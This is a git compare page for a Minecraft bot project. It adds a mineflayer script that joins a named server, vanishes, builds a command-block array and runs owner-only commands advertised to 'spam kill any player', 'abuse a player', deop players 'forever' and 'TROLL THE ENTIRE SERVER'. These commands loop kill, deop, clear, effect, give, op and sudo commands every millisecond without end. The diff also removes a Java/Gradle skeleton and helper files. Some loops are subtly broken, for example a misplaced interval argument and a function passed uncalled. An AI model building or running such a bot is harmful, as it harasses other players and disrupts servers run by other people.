Compare commits

..
4 Commits
Author SHA1 Message Date
Parker2991 3041acc2cb Update index.js 2024-02-12 16:04:18 -05:00
Parker2991 5d13f5f12e v0.3 2024-02-12 21:01:57 +00:00
Parker2991 707b314e25 v0.2 2024-02-12 20:53:52 +00:00
Parker2991 d42c88ae91 v0.1 2024-02-12 20:47:20 +00:00
100 changed files with 453 additions and 17372 deletions
-4
View File
@@ -1,5 +1 @@
node_modules
config.yml
.git
src/modules/exploits.js
logs/*
+453
View File
@@ -0,0 +1,453 @@
const mineflayer = require('mineflayer')
var server = 'sus.shhnowisnottheti.me'
const randomstring = require('randomstring');
const bot = mineflayer.createBot({
host: server,
port: 25565,
username: randomstring.generate(8),
version: 1.17,
})
var sleep=t=>new Promise(a=>setTimeout(a,t)),
sendChat=async function(m){bot.chat(m.slice(0,256));await sleep(300);}
function between(min, max) {
return Math.floor(
Math.random() * (max - min) + min
)
}
//variables
var prefix = '&8&l&m[&b&l&mWoomyBot&8&l&m] ';
var consoleprefix = 'bcraw &8&l&m[&b&l&mWoomyBot&8&l&m] &8[&4&lCONSOLE&8] ';
function randomchar() {
const crypto = require("crypto");
var hash = crypto.createHash("md5");
var randomBytes = crypto.randomBytes(16);
hash.update(randomBytes);
var hashi = hash.digest(Math.round(Math.random()) ? "hex" : "Base64");
return hashi.substring(0, 16);
}
function runInCore(cmd) {
bot._client.write('update_command_block', {location: {x:between(Math.floor(bot.entity.position.x) + 1, Math.floor(bot.entity.position.x) - 15), y:between(0, 3), z:between(Math.floor(bot.entity.position.z) + 1, Math.floor(bot.entity.position.z) - 15)}, command: cmd, mode: 1, flags: 0b100});
}
bot.on('login', async () => { // time in ms
console.log(`logged in as ${bot.username}`)
await sendChat('/tp 6954 100 69642')
await sendChat('/tptoggle')
await sendChat('/online')
await sendChat('/vanish')
await sendChat(`/fill ${Math.floor(bot.entity.position.x)} 0 ${Math.floor(bot.entity.position.z)} ${Math.floor(bot.entity.position.x) - 15} 2 ${Math.floor(bot.entity.position.z - 15)} command_block replace`);
runInCore ('bcraw ' + prefix + 'just went looking around on replit and found this my old bot before i named it the FNFBoyfriendBot but alot of names were considered for it like ParkerBot, DemonBot, WoomyBot, and boyfriendBot but at the end i just named it FNFBoyfriendBot for full release')
//CHANGE COMMAND HERE VVVVVVVVVVVVVVVVVVVV
})
const cmd = require('mineflayer-cmd').plugin
cmd.allowConsoleInput = true // Optional config argument
bot.loadPlugin(cmd)
//kill command function
function killCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + 'Kill Cloop Executed')
setInterval(function() { runInCore('ekill ' + message), 1})
resolve()
}
})
}
function freezeCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + + ' ' + message + ' Is Frozen')
setInterval(function() { runInCore('tp ' + message + ' ' + message), 1})
resolve()
}
})
}
function deopCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + 'Deop Cloop Executed')
setInterval(function() { runInCore('execute run deop ' + message), 1})
resolve()
}
})
}
function deopallCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + 'Deop Cloop Executed')
setInterval(function() { runInCore('execute at @a run deop @a'), 1})
setInterval(function() { runInCore('op @s[type=player]'), 1})
resolve()
}
})
}
function survivalCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + 'Gamemode Survival For All')
runInCore('execute at @a run gamemode survival @a')
resolve()
}
})
}
function helpCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + ' !ckill <player> to spam kill any player ')
runInCore('bcraw ' + prefix + ' !trol <player> to abuse a player ingame')
runInCore('bcraw ' + prefix + ' !deop <player> to deop a player forever')
runInCore('bcraw ' + prefix + ' !icu <player> spam tp a player to you(control them)')
runInCore('bcraw ' + prefix + ' !say <message> make the bot say a message')
runInCore('bcraw ' + prefix + ' !cloop <message> to spam any message')
runInCore('bcraw ' + prefix + ' !troll TROLL THE ENTIRE SERVER')
resolve()
}
})
}
function opCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + 'Op Cloop Executed XD')
setInterval(function() { runInCore('execute run op ' + message), 1})
resolve()
}
})
}
function icuCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
runInCore('bcraw ' + prefix + 'ICU CONTROL HAS STARTED')
setInterval(function() { runInCore('tp ' + message + ' ' + sender), 200})
setInterval(function() { runInCore('deop ' + message), 200})
resolve()
}
})
}
function sayCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
runInCore(consoleprefix + message)
resolve()
})
}
function sudoCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
runInCore('sudo ' + message)
resolve()
})
}
function cloopCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
setInterval(function() { runInCore(message), 1})
runInCore('bcraw ' + prefix + ' Cloop Has Started')
resolve()
}
})
}
function lagCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
setInterval(function() { runInCore('day'), 1})
setInterval(function() { runInCore('night'), 1})
setInterval(function() { runInCore('clear @a'), 1})
setInterval(function() { runInCore('effect give @a nausea'), 1})
setInterval(function() { runInCore('effect give @a slowness'), 1})
setInterval(function() { runInCore('give @a bedrock'), 1})
setInterval(function() { runInCore('give @a sand'), 1})
setInterval(function() { runInCore('give @a dirt'), 1})
setInterval(function() { runInCore('give @a diamond'), 1})
setInterval(function() { runInCore('give @a tnt'), 1})
setInterval(function() { runInCore('give @a crafting_table'), 1})
setInterval(function() { runInCore('give @a diamond_block'), 1})
setInterval(function() { runInCore('execute run op ' + randomchar), 1})
resolve()
}
resolve()
})
}
function trollCommand (sender, flags, args) {
return new Promise((resolve, reject) => {
let message = ''
if (flags.showsender) message += sender + ': '
if (flags.color) message += '&' + flags.color[0]
message += args.join(' ')
if(sender == 'Parker2991'){
setInterval(function() { runInCore('clear ' + message), 1})
setInterval(function() { runInCore('effect give '+ message + ' nausea'), 1})
setInterval(function() { runInCore('effect give '+ message + ' nausea'), 1})
setInterval(function() { runInCore('give ' + message + ' bedrock'), 1})
setInterval(function() { runInCore('give ' + message + ' diamond'), 1})
setInterval(function() { runInCore('give ' + message + 'tnt'), 1})
setInterval(function() { runInCore('give ' + message + ' diamond_block'), 1})
setInterval(function() { runInCore('give ' + message + ' sand'), 1})
setInterval(function() { runInCore('give ' + message + ' bedrock'), 1})
setInterval(function() { runInCore('execute run deop '+ message), 1})
setInterval(function() { runInCore('gms '+ message), 1})
runInCore('bcraw ' + prefix + ' ' + message + ' Is Getting Trolled')
resolve()
}
})
}
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('troll', lagCommand, // Create a new command called 'say' and set the executor function
'make me say something', // help text
'say <message>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('icu', icuCommand, // Create a new command called 'say' and set the executor function
'make me say something', // help text
'say <message>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('sudo', sudoCommand, // Create a new command called 'say' and set the executor function
'make me say something', // help text
'say <message>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('trol', trollCommand, // Create a new command called 'say' and set the executor function
'make me say something', // help text
'say <message>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('ckill', killCommand,
'ckill player', // help text
'ckill <player>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('deop', deopCommand,
'deop player', // help text
'deop <player>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('op', opCommand,
'op player', // help text
'op <player>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('say', sayCommand,
'make me say something', // help text
'say <message>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('cloop', cloopCommand,
'make me say something', // help text
'say <message>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('freeze', freezeCommand,
'make me say something', // help text
'say <message>') // usage text
// Add a flag called 'color' that expects 1 input
.addFlag('color', 1, ['color code'], 'Changes the chat color')
// Add a flag called 'showsender' that expects 0 inputs
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('deopall', deopallCommand,
'stop the server',
'stop')
.addFlag('color', 1, ['color code'], 'Changes the chat color')
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.once('cmd_ready', () => {
bot.cmd.registerCommand('gms', survivalCommand,
'stop the server',
'stop')
.addFlag('color', 1, ['color code'], 'Changes the chat color')
.addFlag('showsender', 0, [], 'If present, displays the sender who sent this message')
})
bot.on('chat', (username, message) => {
if (message.startsWith('!')) {
const command = message.substring(1)
bot.cmd.run(username, command) // Run with the sender and the command itself
}
})
//logs message
bot.on('message', async (chatMessage) => {
//prevents the command set message
if (typeof chatMessage.translate === 'string' && chatMessage.translate.startsWith('advMode.')) return
console.log(chatMessage.toAnsi())
})
https://replit.com/@LigmaSMP/ParkerBot?from=notifications#index.js
-5082
View File
File diff suppressed because it is too large Load Diff
-22
View File
@@ -1,22 +0,0 @@
{
"dependencies": {
"cowsay": "^1.6.0",
"cowsay2": "^2.0.4",
"discord.js": "^14.11.0",
"java-parser": "^2.3.2",
"js-yaml": "^4.1.0",
"json-stringify": "^1.0.0",
"json5": "^2.2.3",
"jvm": "^0.5.3",
"man-db": "^1.0.3",
"minecraft-data": "^3.36.1",
"minecraft-protocol": "^1.47.0",
"mojangson": "^2.0.4",
"node-gyp": "^10.2.0",
"prismarine-auth": "^2.2.0",
"prismarine-chat": "^1.10.1",
"prismarine-registry": "^1.7.0",
"wikipedia": "^2.1.2",
"xml2js": "^0.6.2"
}
}
-5
View File
@@ -1,5 +0,0 @@
const nbt = require('prismarine-nbt');
async function aaa () {
console.log(await nbt.stringify("e"));
}
aaa()
-65
View File
@@ -1,65 +0,0 @@
const bots = require('../data/changelog.json');
module.exports = {
name: 'changelog',
description: ['check the bots changelog'],
trustLevel: 0,
aliases: ['clv', 'changes'],
usage:[""],
execute (context) {
const query = context.arguments.join(' ').toLowerCase()
const bot = context.bot
if (query.length === 0) {
const list = []
for (const info of bots) {
if (list.length !== 0) list.push({ text: ', ', color: 'gray' })
list.push(info.name)
}
const category = {
translate: ' (%s%s%s%s%s%s%s%s%s) ',
bold: false,
color: 'gray',
with: [
{ color: 'aqua', text: 'Alpha Release' },
{ color: 'gray', text: ' | ' },
{ color: 'blue', text: 'Beta Release' },
{ color: 'gray', text: ' | ' },
{ color: 'green', text: 'Minor release' },
{ color: 'gray', text: ' | ' },
{ color: 'gold', text: 'Revision Release' },
{ color: 'gray', text: ' | ' },
{ color: 'dark_red', text: 'Major Release' }
]
}
bot.tellraw("@a", [{ text: 'Changelogs (', color: 'gray' }, { text: JSON.stringify(bots.length), color: 'gold' }, { text: ')', color: 'gray' }, category, ' - ', ...list])
return
}
for (const info of bots) {
const plainName = String(context.bot.getMessageAsPrismarine(info.name)).toLowerCase()
if (plainName.includes(query)) this.sendBotInfo(info, context.bot)
}
},
sendBotInfo (info, bot) {
const component = ['']
component.push('', info.name)
if (info.exclaimer) component.push('\n', ' ', info.exclaimer)
if (info.authors && info.authors.length !== 0) {
component.push('\n', 'Codename ')
for (const author of info.authors) {
component.push(author, { text: ', ', color: 'gray' })
}
component.pop()
}
if (info.foundation) component.push('\n', 'Date: ', info.foundation)
if (info.prefixes && info.prefixes.length !== 0) {
component.push('\n', '')
for (const prefix of info.prefixes) {
component.push(prefix, { text: ' ', color: 'gray' })
}
component.pop()
}
bot.tellraw('@a', [component])
}
}
-17
View File
@@ -1,17 +0,0 @@
const https = require('node:https');
https.get('https://encrypted.google.com/', (res) => {
console.log('statusCode:', res.statusCode);
// console.log('headers:', res.headers);
console.log((res.complete))
let data;
res.on('data', (d) => {
process.stdout.write(d);
// if (data === undefined) data = chunk;
// else data += chunk;
// console.log(data);
});
}).on('error', (e) => {
console.error(e);
});
-70
View File
@@ -1,70 +0,0 @@
/*
* This file was generated by the Gradle 'init' task.
*
* This is a general purpose Gradle build.
* To learn more about Gradle by exploring our Samples at https://docs.gradle.org/8.5/samples
*/
/*
* This file was generated by the Gradle 'init' task.
*/
plugins {
id 'java'
id 'java-library'
id 'maven-publish'
id 'com.github.johnrengelman.shadow' version '8.1.1'
}
group = 'land.chipmunk.parker2991'
version = 'v6.0.0-alpha(ff08479)'
description = 'FNFBoyfriendBot'
java.sourceCompatibility = JavaVersion.VERSION_17
repositories {
mavenLocal()
mavenCentral()
maven {
url = uri('https://repo.opencollab.dev/maven-snapshots/')
}
maven {
url = uri('https://repo.opencollab.dev/maven-releases/')
}
maven {
url = uri('https://repo.maven.apache.org/maven2/')
}
maven {
url = uri("https://jitpack.io")
}
maven {
url = uri('https://maven.maxhenkel.de/repository/public')
}
}
dependencies {
implementation 'com.github.steveice10:mcprotocollib:1.20.2-1-SNAPSHOT'
implementation 'net.kyori:adventure-text-serializer-ansi:4.14.0'
implementation 'com.google.code.gson:gson:2.10.1'
implementation 'com.google.guava:guava:31.1-jre'
implementation 'org.jline:jline:3.23.0'
implementation 'org.yaml:snakeyaml:2.0'
}
jar {
manifest {
attributes 'Main-Class': 'land.chipmunk.parker2991.fnfboyfriendbot.Main'
}
}
tasks.withType(JavaCompile).configureEach {
options.encoding = 'UTF-8'
}
tasks.withType(Javadoc).configureEach {
options.encoding = 'UTF-8'
}
-3
View File
@@ -1,3 +0,0 @@
voiding interger will return a number
public static void functionName() {} has the funcion return nothing
@@ -1,2 +0,0 @@
# This file was generated by the Gradle 'init' task.
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
Binary file not shown.
@@ -1,7 +0,0 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.5-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
-249
View File
@@ -1,249 +0,0 @@
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"
-92
View File
@@ -1,92 +0,0 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
-8
View File
@@ -1,8 +0,0 @@
/*
* This file was generated by the Gradle 'init' task.
*
* The settings file is used to specify which projects to include in your build.
* For more detailed information on multi-project builds, please refer to https://docs.gradle.org/8.5/userguide/building_swift_projects.html in the Gradle documentation.
*/
rootProject.name = 'fnfboyfriendbot'
@@ -1,47 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import land.chipmunk.parker2991.fnfboyfriendbot.*;
import com.github.steveice10.mc.auth.data.GameProfile;
import com.github.steveice10.mc.protocol.MinecraftProtocol;
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
import com.github.steveice10.mc.protocol.packet.common.serverbound.ServerboundClientInformationPacket;
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
import com.github.steveice10.mc.protocol.packet.login.clientbound.ClientboundGameProfilePacket;
import com.github.steveice10.packetlib.Session;
import com.github.steveice10.packetlib.event.session.*;
import com.github.steveice10.packetlib.packet.Packet;
import com.github.steveice10.packetlib.tcp.TcpClientSession;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
public class Bot {
private final ArrayList<ClientListener> listeners = new ArrayList<>();
public final String host;
public final int port;
public final List<Bot> bots;
public final Options.bots options;
public Bot (Options.bots options, List<Bot> bots) {
this.host = options.host;
this.port = options.port;
this.options = options;
}
public static void main(String[] args) {
}
public class ClientListener {
}
}
@@ -1,36 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import org.yaml.snakeyaml.Yaml;
import com.google.common.util.concurrent.ThreadFactoryBuilder;
import java.io.*;
import java.util.List;
import java.util.Set;
import java.util.ArrayList;
public class Main {
public static void main(String[] args) {
Bot config = null;
Path configPath = Paths.get("config.yml");
try {
Yaml yaml = new Yaml();
config = yaml.load(Files.readString(configPath));
System.out.println(config);
} catch (IOException e) {
System.out.println(e.toString());
}
List<Bots> bots = new ArrayList<>();
for (Options options : config.bots) {
final Bot client = new Bot(options, bots);
bots.add(client);
}
}
private static class Options {
}
}
@@ -1,9 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot;
public class Options {
public static class bots {
public String host = "127.0.0.1";
public int port = 25565;
public long reconnectDelay;
}
}
@@ -1,6 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.commands;
public class SayCommand {
}
@@ -1,8 +0,0 @@
package land.chipmunk.parker2991.fnfboyfriendbot.modules;
